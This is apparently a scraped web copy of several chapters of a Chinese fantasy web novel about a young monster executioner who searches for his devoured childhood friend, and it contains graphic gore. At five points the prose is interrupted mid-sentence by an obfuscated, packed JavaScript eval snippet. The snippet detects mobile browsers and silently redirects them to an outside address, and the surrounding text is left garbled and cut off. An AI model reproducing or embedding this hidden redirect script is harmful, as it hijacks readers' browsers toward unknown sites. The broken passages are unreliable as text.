《论如何与变成怪物的竹马he》 3. 理想国·其二 所幸追上来的不是那头怪物,而是一个活生生的人。 ——一个浑身透露出生人勿进的气息,处处锋芒毕露的少年。 少年面色苍白,黑发及腰,以一根黑色的缎带束着,风乍起,鬓发纷乱,使得他的美貌愈发惊心动魄。 要不是穿着一袭黑衣的少年胸膛平坦,莱拉根本没法在一时半刻内分辨出他的性别。 少年身后的怪物被开膛破肚,里头淌出了些尚未被完全消化的人体组织,一只属于女性的纤细的手清晰可见,还有尚未排出的排泄物,是由活生生的人消化而来的…… 吉娜……吉娜也会……也会变成怪物的排泄物…… 莱拉本就惊魂未定,只看了怪物一眼,顿时胃袋翻腾。 她这几天没吃什么食物,惟有酸水灼烧过她的喉管,被她吐了出来。 吐完后,她用手背抹了抹嘴巴,才向这个自称“‘怪物清除局’一级处刑官向罂”的少年望去。 少年手上拿着一把匕首,鲜血淋漓,锋利无比,像他这个人一样,怪不得怪物身上的刀口如此平整。 但匕首柄看起来有些年岁了,这教莱拉想起了妈妈手里攥着的那把为她出头的水果刀。 妈妈…… 她刚才没哭,这时候却是哭了出来。 没多久,哭声戛然而止,她眼泪汪汪地望住了向罂:“恳请你救救吉娜。” 她没听说过“怪物清除局”,顾名思义,“怪物清除局”应该是清除怪物的机构。 这个向罂仅凭一把匕首,就能干掉一头最起码五米高的怪物,那么当然也能干掉那头抓走了吉娜的怪物。 向罂瞟了一眼那头A+级怪物消失的方向:“吉娜?那个被怪物啃掉了半个脑袋的小姑娘?” “那个被怪物啃掉了半个脑袋的小姑娘……那个被……被怪物……”吉娜确实被怪物啃掉了半个脑袋,是她亲眼所见的,刚刚她怎么忘记了?莱拉迷茫又执拗地问道,“向罂,被怪物啃掉半个脑袋还有没有救?” 向罂直截了当地道:“没救了,更何况,她现在恐怕已经被怪物吃干净了,连骨头渣滓都不会剩下。” 莱拉一听,顿时身体发软,瘫在了地上。 “怪物清除局”只负责清除怪物,不负责心理疏导。 向罂不管这个黑发碧眼的女孩,自顾自地拿出手机打开内网,比对怪物信息,继而采集了怪物的血液放入采血管中,用以确定怪物的身份。 根据他的判定,这头怪物的等级是A-,编号为24790。 怪物初次被捕获踪迹便会得到一个独一无二的编号,目前编号已经到了198762,并且还在不断增加中。 已被处刑的怪物总计99897头,换言之,最起码还有98865头怪物存活。 而他的闻璨就是其中之一。 目睹闻璨被怪物吞噬那一日,偏巧是向罂十六岁的生日。 初遇闻璨那一日,则是向罂六岁的生日。 六岁生日之前,向罂一直同妈妈生活在一间阴暗潮湿的铁皮房里。 妈妈攒了很久的钱,约好生日当天带他去游乐园玩,他从来没去过游乐园,关于游乐园的知识都是从电视上了解的。 那台电视是妈妈从垃圾场淘回来的,不太灵光,妈妈告诉他拍一拍机身,摇一摇天线就好,所以每次屏幕变成雪花了,他都会拍一拍,摇一摇,从不着急。 妈妈还没攒够他的学费,因而他没办法去上学,不是在本子上涂涂画画,就是在看电视。 他爱看卡通片,其中一部卡通片突然出现了游乐园。 他好奇地拉着妈妈的袖子问:“妈妈,妈妈,这是什么?” 妈妈放下手中的活计,温柔地摸摸他的脑袋:“宝贝,这是游乐园。” “妈妈,我想去游乐园。”他当时并不清楚这个要求对于妈妈而言是多大的负担,当然也没发现妈妈一闪而过的为难,他只是单纯地想去游乐园。 妈妈满足了他的愿望:“好,等宝贝六岁生日,妈妈就带宝贝去游乐园。” 他手舞足蹈地道:“游乐园,游乐园,游乐园……” 妈妈微笑着应和道:“游乐园,游乐园,游乐园……” 有一次,他按着电视机上的按钮切换频道时,幸运地切换到了一个介绍游乐园的节目。 他如获至宝,目不转睛地想要把所有细节都记住。 旋转木马,大摆锤,海盗船…… 所有所有的项目他都想玩。 六岁生日前一晚,他既紧张又激动,辗转反侧,完全睡不着,连眼皮都合不上,直到天快亮的时候,才困得撑不住了,昏睡了过去。 等他醒来,没看见妈妈,便赤着脚到处找。 妈妈出去工作了? 但妈妈说过今天请了假,要带他去游乐园。 妈妈改主意了,不想带他去游乐园了? “游乐园,游乐园,我要去游乐园!”他大声地叫了起来。 妈妈没回来,自然没人理睬他。 他气得想摔锅碗瓢盆,不过他知道这些是会摔坏的,便只能将枕头被子摔在地上出气。 好久之后,妈妈还是没回来。 因为他不乖,吵着闹着要去游乐园,所以妈妈不要他了? “妈妈,妈妈,我不去游乐园了,妈妈,我听话。”他急得蹲坐在地上,抱着双膝,嚎啕大哭。 直到透过朦胧的泪眼,乍然瞧见一双皮鞋,他才抬起头来。 对方是一个身材高大的男人,他并不认识。 他以为是妈妈认识的人,急切地道:“叔叔,可以带我去找妈妈么?” 于是,他上了一辆特别豪华的加长轿车。 他是第一次坐轿车,东摸摸,西摸摸,又满怀期待地问陌生的男人:“妈妈在游乐园等我么?你是妈妈的朋友么?” 见对方点了点头,为了早点见到妈妈而失去了防范意识的他继续新奇地东摸摸,西摸摸,没觉得不对劲,毕竟对方看起来很面善,再说了绑匪也开不起如此高级的轿车。 大约坐了三个小时的车,在他昏昏欲睡的时候,车猛地停了下来。 车门一打开,他马上被男人从车上抱了下来,接着,迷迷糊糊地听见男人道:“向罂少爷就交给你们了。” 向罂少爷,是指他? 他不是叫做宝贝么? 他立刻醒了过来,挣扎着从男人身上下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069229|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个地方不是游乐园,看起来像是贫民窟。 他环顾左右,没看见妈妈,仅有男人和一对夫妻。 “我要妈妈!我要妈妈!还我妈妈……”他猝不及防地被扇了个耳光,是男人干的,对于成年男人来说,用的力气不算大,可当时的他不过是个六岁的孩子,顿觉头晕眼花。 男人严肃地道:“向罂少爷,你母亲贵为名门淑女,你不该这般没教养。” “你是坏人!我要去找妈妈!”他拔腿想跑,不幸被男人拽住了胳膊。 男人对那对夫妇说:“老爷会定期汇入向罂少爷的生活费,向罂少爷就麻烦你们了。” 男人说完这话,便上了轿车,扬长而去了。 自此之后,他从妈妈的“宝贝”,变成了“乌鸦贫民窟”的“向罂”。 他想见妈妈一直哭一直哭,有人给他递了手帕,他不想搭理,对方叹了口气,道:“向罂,别哭了,小心哭坏眼睛。” 由对方的声音判断,对方应当和他差不多年纪。 “我是闻璨,你被寄养在我们家,我们以后要好好相处。” “还有,生日快乐。” 闻璨端了一碗长寿面来:“这是我煮的,你试试看,合不合口味。” 初见闻璨,向罂只觉得讨厌,他才不要闻璨,他只要妈妈。 他也不要长寿面,重重一推,长寿面旋即泼了闻璨一身,烫得闻璨脸上,脖子上,手上的皮肤红了一大片。 向罂吓了一跳,止住哭泣,他后悔了,但他是绝对不会向闻璨道歉的。 闻璨并未责怪他,出去又煮了一碗长寿面来。 向罂看着闻璨脸上的一串水泡,出于歉意,别别扭扭地吃了一口,道:“不好吃,真难吃,没我妈妈做的好吃。” 闻璨不好意思地道:“对不起,我再去做一碗。” “算了。”向罂勉强把长寿面吃干净了。 这是闻璨第一次为向罂做长寿面,后来,闻璨每年都会为向罂做长寿面,直到向罂十六岁生日那年戛然而止。 向罂其实不太喜欢吃长寿面,因为他觉得老土,有钱人都是吃生日蛋糕的,才不会吃劳什子的长寿面。 吃了十年闻璨做的长寿面的向罂还好端端地活着,再过一个月便要满十八岁了。 然而,仅比向罂大半岁的闻璨在十六岁半那年被怪物吞噬了。 向罂从来没见过闻璨吃长寿面。 长寿面,长寿面,兴许当真能令人长寿。 十七岁生日那晚,向罂没有长寿面吃,结束训练后,回宿舍的路上,向罂看见路边有人烧纸钱,一问才知道七月十五是中元节,又称鬼节,鬼门大开,不宜出门,不是什么好日子。 他在这个不是什么好日子的日子出生,失去妈妈,又失去了闻璨。 不,不,不,他没有失去妈妈,妈妈还活着,只是被他的生父藏起来了,总有一日,他会找到妈妈的,他也没有失去闻璨,闻璨只是暂时蛰伏在那头狮鬃水母一般的怪物体内而已。 “滴。” 他陡然回过神来,低头一看,一头新的怪物出现在了他的手机屏幕上,编号为198763。 又多了一头新的怪物。 4. 理想国·其三 自从向罂半年多前,成为“一级处刑官”以来,几乎每个小时都会增加至少一头怪物。 起初,他常常因提示音而心惊肉跳,冷汗直流,脑子每每被闻璨遭怪物生吞的惨状浸染。 随着怪物增多,这个国家变得越来越危险了,会有更多的人像闻璨那样…… 但时间一长,他认清了自己的忧心是徒劳的,根本不会减少怪物的数量,便渐渐麻木了。 如今的他平静无波,随手将手机放入衣袋中,见被自己所救的少女仍然瘫软在地,便面无表情地伸出了手去。 莱拉对向罂的观感十分矛盾,一则,是向罂救了她,她应该感激向罂;二则,向罂矢口拒绝救吉娜,断言吉娜连骨头渣滓都不会剩下,甚至吝啬于对吉娜表现出哪怕一丝一毫的惋惜,好像吉娜只是一尾猫儿,一条狗儿,是死是活都无所谓。 眼前的向罂虽然对她伸出了手,但她从向罂眼中看不到一点情绪,好像她也是一尾猫儿,一条狗儿,是死是活都无所谓。 她被自己所思所想吓得打了个寒颤。 一时之间,她直觉得这个向罂比那头横尸当场的怪物更为可怖。 于是,她本能地拍开了向罂的手。 向罂收回手,道:“跟我回‘怪物清除局’做笔录。” “好。”莱拉吸了口气,自己站起身来。 向罂走在前头,莱拉追了上去,大着胆子发问道:“吃了吉娜的那头怪物总有一日会被你们‘怪物清除局’清除的对不对?” 向罂坦诚地道:“不一定,除非祂吃下的人类太多,否则不会有人特意去追查祂。” “这是不对的,吃人者必须偿命。”莱拉气愤地道,“‘怪物清除局’太不负责任了!” “在逃的怪物太多,且在不断增加中,而我们的人手远远不够,只能不负责任了。”进入“怪物清除局”前,向罂亦曾立下过要杀光所有怪物的决心,但实际上,要是不幸遇上高阶的怪物,他就算把命填进去都不够,“也许……” 他微不可察地叹了口气:“也许有一天,我们能让所有吃过人的怪物都偿命。” 听到这话,莱拉对向罂生出了好感:“吃了吉娜的怪物也一定会偿命的。” 向罂点点头,径直往前走,突然又听到莱拉问道:“‘帕拉而提’不是这世界上最为富饶美丽的国家么?为什么会有怪物?” 向罂了然地道:“你不是‘帕拉而提’人吧?”没被游荡在“帕拉而提”周边的怪物吃掉真是幸运。 “嗯,我来自‘帕拉’,今天刚到‘帕拉而提’。”莱拉后知后觉地发现自己没告诉向罂名字,“我叫做莱拉。” 向罂听说过“帕拉”这个国家,距离“帕拉而提”千里之遥。 “帕拉”本来不叫“帕拉”,因为某一任元首希望自己的国家像“帕拉而提”一样富饶美丽,才改名为“帕拉。” “帕拉而提”的希腊语为“Politeia”,是理想国的意思。 一百多年前,“帕拉而提”没有怪物,也没有贫民窟,的确是名副其实的理想国。 面对现在这个怪物横行的国家,有重重安保措施的贵族依旧生活在理想国中,而普通人,运气好的能寿终正寝,运气差的则沦为怪物的口粮,至于居于贫民窟的所谓的下等人更是朝不保夕,绝大多数不是活活饿死,便是与普通人一样葬身怪物之口。 根据“怪物清除局”的内部资料显示,怪物非但可由人类变异,还可由动物变异。 两者的比例尚不分明,变异机制亦不明确。 “怪物清除局”内部有一个调查部,专门追本溯源被处刑的怪物。 不过由于怪物的DNA与人类截然不同,且有可能耗费大量人力,却发现其原本仅仅是一头动物而导致调查部目前几乎是处于停摆状态。 根据现有数据统计,排除原本是动物的案例,由人类异变的怪物当中,高达百分之九十五的案例都曾是贫民。 贫民的“异变值”为什么这么高? 因为贫民完美符合上等人的刻板印象——狡猾、奸诈、愚蠢、贪婪……集所有不良的品质于一身? 不,向罂清楚不是这样的。 “乌鸦贫民窟”的大家都是好人,每个人都对孤僻寡言的他和颜悦色。 贵族的“异变值”又为什么这么低? 兴许原因是贵族更爱脸面,会毫不犹豫地抛弃“异变值”高的新生儿? 又兴许原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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5.理想国·其四 见向罂看起来没有生气的迹象,莱拉继续问道:“那头怪物的尸体不用处理么?不会吓到经过的普通人么?” 向罂答道:“会有专人处理的。” 人类一旦沾染上怪物的气味,便如同被打上了“检验检疫合格印章”的肉猪,将被怪物锁定,故而,怪物的尸体必须尽快运抵特定的冷库保存,待确定其身份后,做焚烧处理——鉴于确定其异变为怪物前的身份,难度太大,太费时间,按照目前的流程,一般是确定其怪物编号后,便做焚烧处理。 至于现场,也会有专人清扫,务必保证不留下一丝气味,以免危害过路人。 清扫完毕之前,方圆一公里将被封锁,其中的人类会被带到安全屋躲避。 “那就好。”莱拉又问,“去‘怪物清除局’大概要多久?” 从“帕拉”启程,她耗费了整整一年又四个月,才抵达“帕拉而提”,颇为艰难,尤其是脚上的水泡长了又破,破了又长,如今她失去了互相扶持的吉娜,身心俱疲,想要休息了。 向罂不说话,片刻后,他七拐八弯地到了一间前不着村后不着店的小屋前,打开门,洗干净手后,招呼莱拉洗手。 然后,他从衣橱中找出一套莱拉能穿的衣服,塞到莱拉手里,并不由分说地道:“洗澡,马上把身上怪物的气味洗掉,不然,你恐怕活不过明天。” 怪物的气味! 莱拉自己全然闻不出来,害怕地道:“我身上有怪物的气味,怪物的气味有毒?能毒死我?洗完澡,我就不会中毒了?” “气味相当于怪物做的标记,一头吃不了你,会有另一头来吃你。”向罂又给了莱拉一个袋子,“换下的衣服放里面,会有人处理的。” 见莱拉不动,他催促道:“还不快去洗,不想活了?” 莱拉点了点头,听话地洗澡去了。 这是一间安全屋,共有两个浴室,向罂拿起换洗的衣服,去了余下的那个浴室。 他有点洁癖,就算肉眼看来,衣服上并未溅上怪物的体.液,他仍是飞快地脱去衣服,接着拿起匕首,站在莲蓬头下,冲起了澡来。 他并没有自残的爱好,拿匕首,不过是打算将匕首与自己一道洗干净而已。 他其实带了枪,只是他习惯于用匕首,而且匕首足以割开那头怪物的皮肉。 这把匕首其实是闻璨送给他防身用的,同时也是他十五岁生日的礼物,一直被他放在枕头下面。 闻璨被怪物啃食之时,他非但没带匕首,还被吓得楞在原地。 如果……如果……后来的他无数次想如果他当时带了匕首,是不是就可以从怪物口中救出闻璨? 可惜没有如果。 闻璨终究被怪物吞噬了,无用的他至今没能找到那头怪物。 他喟叹一声,关上水龙头,用专门的沐浴露打出泡沫,涂抹自己的身体。 曾经的闻璨明明只比他大半岁,却比他高两个头。 他将近两年不曾见过闻璨,现在的他已经与当时的闻璨一样高了,不知道闻璨再见到他会是什么表情? “闻璨,我很想你,很想很想。”他将匕首贴在自己脸颊上,感受着金属的冰凉,阖上眼睛,“闻璨,你想我么?是不是也很想很想?” 不知不觉间,泪水流了下来。 他被那个男人叫做“向罂少爷”,或许是血脉的缘故,又或许是闻璨待他太好的缘故,即使身在贫民窟,他依然养成了少爷脾气。 “怪物清除局”的训练分外辛苦,一身少爷脾气的他时常累得连一根手指头都抬不起来,却从来不喊苦喊累,也从来不哭。 每每想起闻璨,他却常常哭,哭得不能自己,哭得一如那个等不到妈妈的年仅六岁的自己。 莱拉洗完澡出来,没看见向罂,意外地听到了哭声。 那个可怕的向罂躲起来哭? 是水声吧? 向罂也需要洗澡,以防被气味标记。 过了一会儿,里头响起了哗哗的水声,刚刚向罂只是把水开得小了点? 又过了一会儿,电器声取而代之。 没多久,向罂走了出来,换了一身衣服,匕首照旧别在腰间。 莱拉偷瞟向罂的双眼,有点发红,不会真的哭过了吧?不过看向罂的神情,不像是哭过的样子,既不委屈,也不可怜。 向罂见莱拉的头发湿漉漉的,拿了吹风机来,递给莱拉:“吹干。” 莱拉从没见过长这样的电器,好奇地问道:“这是什么?” 向罂懒得解释,打开开关,给莱拉吹了一下头发,作为示范,才道:“懂了么?” “懂了,吹干头发用的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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6.理想国·其五 明明是最为重要的政府机关之一,国会每年拨给“怪物清除局”的经费却不多,甚至偶尔还会延迟发放。 所以在向罂看来,“怪物清除局”算不上抠门,更何况,他初出茅庐,自认为还用不着配车。 或许国会那些口口声声说要保护人民,振兴国家的议员根本不在乎怪物能否被清除,只消不威胁到他们的利益便好,而设立“怪物清除局”不过是为了彰显其仁善的表面功夫? 又或许原本的经费是充裕的,只是经过层层盘剥,所剩无几了? 向罂想不出个所以然来,不由发起了怔。 双眼看着窗外,脑子自然而然地被闻璨侵占了。 他第一次坐地铁是与闻璨一起,对于当年的他们而言,地铁票并不便宜。 当时的乘客比现在多得多,一个空位都没有。 他和第一次坐轿车那样,只顾东张西望,没抓紧拉环,猝不及防地撞进了闻璨怀里。 “好疼啊。”站稳后,他指着自己其实一点都不疼的额头,撒娇道,“要吹吹。” 闻璨一手拉着拉环,一手揽着他的腰,低下头,吹了吹:“痛痛飞飞。” 闻璨的气息教向罂如沐春风,他抱住了闻璨的腰身,仰起头来,冲着闻璨笑:“要再吹吹。” 闻璨没来得及吹气,脸上猝然洒满了向罂的气息,顿时浑身一震。 向罂并未觉察到闻璨的异常,吹了一口气后,便将脸埋进了闻璨胸口。 闻璨的心脏陡然失序了,一下一下地拍打着向罂的面颊。 向罂抬起头来看闻璨,忧心忡忡地道:“闻璨,你没事吧,怎么心跳得这么快?” 闻璨脸色发红,覆上向罂的后脑勺,将向罂的脑袋又按回了自己的胸口。 当时的向罂没有多想,乖乖地汲取着闻璨的体温。 后来,在闻璨被怪物吞噬后的某一夜,向罂照例被噩梦惊醒,坐起身来,一边喘着粗气,一边莫名其妙地记起了这件事。 他这才意识到闻璨可能喜欢他,不是对弟弟的喜欢,而是当做恋人的喜欢。 他并不知道自己究竟喜不喜欢闻璨,但他知道自己喜欢和闻璨待在一起。 只要闻璨能借由怪物的身体活过来,回到他身边,他并不介意同闻璨交往,如果闻璨要求,他甚至愿意同闻璨发生关系,尽管他全然不清楚他们要如何发生关系,其实他连男女之间如何发生关系都不了解。 他是在“乌鸦贫民窟爱心学校”上的小学、初中以及高一,老师并未教授生理课。 闻璨被怪物吞噬后,他考入“怪物清除局”,读了高二、高三,老师也未教授生理课。 也许闻璨和他一样,并不知道该如何发生关系吧? “向罂,你怎么脸红了?哪里不舒服?” 莱拉的关切打断了向罂的思绪,向罂摇了摇头:“没事。” 闻璨不在身边的日子,他时常想起闻璨,他与闻璨的点点滴滴日夜不休地被他反复咀嚼。 他定了定神,瞟了眼显示屏,下一站是“国会”,而他本来应该在上一站“市政府”下车。 “‘国会站’到了,开左侧车门,先下后上,请注意安全。” “下车。”他径直朝着反方向的地铁等待处走去。 下了地铁后,莱拉好奇地道:“为什么刚才经过‘市政府站’的时候不下车?” 向罂没理会莱拉,没过几分钟,“怪物清除局”到了。 莱拉看着“怪物清除局”五个摇摇欲坠的大字,吐槽道:“是不是有点太寒酸了?” 连她上的小学的门头都没这么破旧。 向罂还是没理会莱拉,将莱拉带到问讯处后,自顾自地去了化验室。 而后,他将采血管往凯勒面前一放,一板一眼地道:“麻烦您确认下这头怪物的等级是否A-,编号是否为24790?” 凯勒年逾六十,头发花白,脸上皱皱巴巴的,耷拉下来的眼皮几乎要将眼球遮住了。 但她依旧是“怪物清除局”最好的化验师。 她接过采血管,进行化验,半个小时后,她用拉风箱一般的嗓音对向罂道:“你的判断是对的。” “多谢您。”向罂紧张地道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114945|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请问今天是否有一头长得像‘狮鬃水母’的怪物的血液样本被送来化验?” 他每一天都会问凯勒这个问题,包括轮休日。 他生怕闻璨不及占据怪物的身体,怪物便被处刑了,以至于闻璨再也活不过来了。 “哟,未亡人。”一个长相娇滴滴的少女走了过来,调侃道。 “我可不是什么未亡人。”向罂瞪着边橙,强调道,“不许乌鸦嘴。” 边橙倩笑道:“你既然觉得他没死,干嘛每天都来问老师?” 向罂不想同边橙多费口舌,又问凯勒:“凯勒女士,可以告诉我答案么?” “没有。”凯勒温柔又严厉地道,“边橙,不许欺负向罂。” “怎么就算欺负了?我和他同命相连,我也是未亡人呢。”边橙叹了口气,正色道,“向罂,人一旦……” 凯勒制止道:“住嘴,做你的研究去。” 边橙一贯喊向罂“未亡人”,不过向罂是初次听边橙自称“未亡人”。 但他对于边橙的隐私没兴趣,向凯勒致过谢后,他便离开研究室,去了射击室。 他明白边橙想说人一旦被怪物吃掉,就只会被怪物消化吸收,肉.体的绝大部分最终会沦为怪物的排泄物。 他完全不认同,毕竟闻璨是与众不同的,闻璨一定会成为第二个布朗伯爵——那个夺舍了灰熊怪的布朗伯爵。 “砰砰砰……”他没戴降噪隔音耳罩,一连开了十枪,每一枪都在九环以内,其中三枪正中靶心。 耳膜生疼,引发了耳鸣,一时间,他顿觉这个世界万籁俱寂,惟有自己的心脏聒噪地鼓动着,仿佛在应和那日闻璨的心跳声。 他面无表情地又连开了十枪,后坐力震得他的手掌发麻,掌心尤其是虎口处还沾满了浓重的火药味。 猝然有人靠近,他猛地回过身去,持枪抵上了对方的眉心。 不经思考,全然是出于肌肉记忆,纵然他不常用枪,但他是擅长用枪的。 他必须变强,强到可以保护所有重要的人,强到不会恐惧,不会眼睁睁地看着闻璨被…… 7.理想国·其六 “是我。”段昀面不改色地抬起手来,拍了拍向罂微微颤抖的手,“别太逼自己,要劳逸结合,当心患上腱鞘炎。” 向罂听话地放下枪,送入枪囊,接着正色道:“段副局。” 他的“异变值”为百分之四十九,按照“怪物清除局”的规定,如若“异变值”超过百分之五十,简历会被直接刷掉,为了防止有人蒙混过关,笔试前,所有人必须统一接受“异变值”检测。 而百分之四十九是一个极其微妙的数值,按照“怪物清除局”之前的惯例,简历也会被直接刷掉。 不过段昀却在审核简历时,放过了他,更是在他过了笔试后,在面试会上力排众议,录取了他。 他对段昀心存感激,因此格外尊敬段昀。 段昀年长向罂十多岁,他摸了摸向罂的脑袋,劝道:“去休息吧,小心还没找到闻璨,你自己先支撑不住了。” 局里上下几乎每个人都知道向罂进入“怪物清除局”是为了找人。 但向罂只同段昀说了他的过往,以及他要找的人叫做“闻璨”。 “嗯。”向罂回了宿舍去,他的宿舍里放置着供他练习的偶人,他拿出匕首,冲着偶人练习了半个小时,出了一身热汗,才去洗澡。 洗过澡后,他走到床边,侧身躺下,继而一眨不眨地盯着一个标本瓶发怔,标本瓶里面灌入了福尔马林,而福尔马林里浸泡着的是一截右小臂——他从“狮鬃水母”口中夺回来的属于闻璨的右小臂,死白,发胀,根本看不出曾经长在闻璨身上,亦根本看不出曾经的鲜血淋漓,好似天生便是一块死肉。 每天,他都会看着这截右小臂入睡,就像看着耐心哄他入睡的闻璨一般。 不泡福尔马林,便得放进冷冻室。 他没想过,也不敢想,这截右小臂是否还能还给闻璨,进而重新焕发生机。 他昨天处刑了两头怪物,今天处刑了三头怪物,疲倦不堪,看着看着,便睡了过去。 不知道睡了多久后,电话响了,他接起后,对方在电话那头道:“吃掉了吉娜的怪物找到了。” 他通过“怪物清除局”内部系统,上报了那头怪物的相关信息。 面对莱拉是否会清除那头怪物的提问,他说的是“除非祂吃下的人类太多,否则不会有人特意去追查祂。” 他并未对莱拉撒谎,毕竟“怪物清除局”确实人手不足,不太可能去追杀一头吃人不多的怪物。 显然,那头怪物在大庭广众之下现身了。 “在国会。” 果然,他听到电话那头这样说。 十分钟后,他抵达了国会。 议员们在开会,统共一百三十九人。 其中的一百二十一人逃出来了,八人被怪物用尾巴圈住了,余下的十人大抵已经进入怪物的胃袋了。 这头怪物约莫十米高,据他判断应该是A+级,长得好似虎、狮、豹的嵌合体。 平日里高贵优雅的议员每一个都面无人色,瑟瑟发抖。 今日的议题是“如何降低新生儿的‘异变值’,能否对育龄女性进行人体实验?” 对于这个国家而言,降低新生儿的“异变值”确实是重中之重,但在场的议员却没有一个女性,更何况是育龄女性了,想必不会有人替女性着想。 而且“人体实验”具体怎样实验? 像试药?还是…… 再者说,新生儿是由精子与卵子结合而成的,为何不对育龄男性进行人体实验? 向罂忍不住想起了妈妈,直到现在他依旧清晰地记得妈妈的眉眼。 而后,他脑中猝然生出了一个邪恶的念头——不如让他们被怪物吃掉吧,尤其是在他看清了议长也在八个人中间后。 议长西装革履,原本应该是相当体面的,而今一身的西装皱皱巴巴,如同被压在石头下,腌在缸里的咸菜。 在二十五度的恒温空调中,议长浑身是汗,全然看不出新闻中那副运筹帷幄的雄姿。 却原来,议长也是会恐惧的,与芸芸众生毫无差别,压根不是自传中描述的那样勇猛无比,曾生擒怪物无数。 真是有趣。 所谓的“勇士”竟然需要他这个平平无奇的处刑官来救。 向罂面无表情,眼睁睁地看着怪物用一根指甲挑起议长的后襟,一动不动。 议长瞪着这个明显是“怪物清除局”派来的少年,不满地道:“还不快来救我?” 都死到临头了,议长居然还有工夫冲着自己生气,向罂差点笑出声来。 幸好他忍不住了,毕竟议长对他还有用。 由于他与怪物有一段距离,来不及近身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130882|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,于是,他眼疾手快地朝着怪物的双眼连开二十发,打尽了弹匣。 这头怪物当然不可能被区区二十发子弹击毙。 他趁着怪物吃痛之际,转瞬砍断了怪物的右爪与尾巴根。 尽管如此这右爪仍然勾着议长的后襟,尾巴亦紧紧地圈着七位议员。 “走!”话音未落,怪物的左爪直冲着向罂拍了过来。 他赶忙躲避,这左爪没拍中他,而是拍中了一位议员的右腿。 这条右腿当即连骨带肉被拍断了。 显而易见,单单他一个人没法在一时半刻内制服怪物。 为了尽量拖住怪物,他只得扯着怪物的鬃毛,踩到了怪物的头上。 “快走!”怪物急着把他弄下来,他被怪物震得仿佛一身的骨架都要散了。 议员们大多上了年纪,除了那个刚刚残废的议员,其他议员的腿脚也不利索,况且他们受了惊吓,甚至有人不知道什么时候失禁了,深色的西装裤被洇出大片水渍。 能目睹议员们的丑态,也不枉费他紧赶慢赶地来到国会了。 他的视线在怪物的挣扎下七零八落,不过他清楚地看到了议员们是如何争先恐后的。 比起自己被怪物吃掉,当然是同僚被怪物吃掉更好。 真有趣啊。 今日抢着逃命,指望别人做替死鬼,明天还要继续勾连,只要有利益作为纽带。 他忍俊不禁,双手揪住了鬃毛,由于太过用力,生生拔下了一大把。 这个痛,怪物自然受得了,反而是向罂因为鬃毛不够,难以骑在怪物头上。 那些议员还未逃出怪物的攻击范围,然而,眼下惟有他一个处刑官,其他的处刑官都出别的任务去了,连个帮把手的人都没有,他不得不将自己牢牢地定在怪物头上。 源源不断的血液从怪物眼中流淌下来,使得怪物愈发暴躁。 怪物的头颅很是坚硬,他废了好一番工夫,才将匕首刺入,以固定自己。 匕首不够长,根本接触不到怪物的脑浆,自然取不了怪物的性命。 不过就算他此刻有一把长刀也取不了怪物的性命,毕竟凭他一个人的力量,断然不可能将长刀插进怪物头颅。 他杀了这怪物最好从肚皮或是肛.门入手——就像鬣狗对付狮子那样。 8.理想国·其七 若要从肛.门处入手,向罂需要一杆冲锋枪,或是一柄剑,一把长刀,最起码得是一根木棒,但他手头上可用的武器只有一支手枪,以及一把匕首。 按照“怪物清除局”的规章制度,人命至上。 所以无论具体要怎么对付怪物都是后话,必须先保证议长与七位议员的安全。 奈何他们逃得着实是太慢了,在怪物的不断挣扎下,他直觉得自己的脑浆都快被摇匀了,整个脑袋晕晕乎乎的,连呼吸都有些滞塞。 猝不及防间,他瞥见天窗那飘过一丛触手,呈橙黄色。 吞噬了闻璨的那头怪物形似狮鬃水母,而狮鬃水母之所以被称作“狮鬃水母”,是因为口器周围布满橙黄色的触手,像极了雄狮的鬃毛。 这两年来,他翻阅了“怪物清除局”所有在案的怪物的照片与描述,亦亲眼见到了不下一百头怪物,而形似狮鬃水母的怪物仅有那一头,怪物编号:16627,评级:A-。 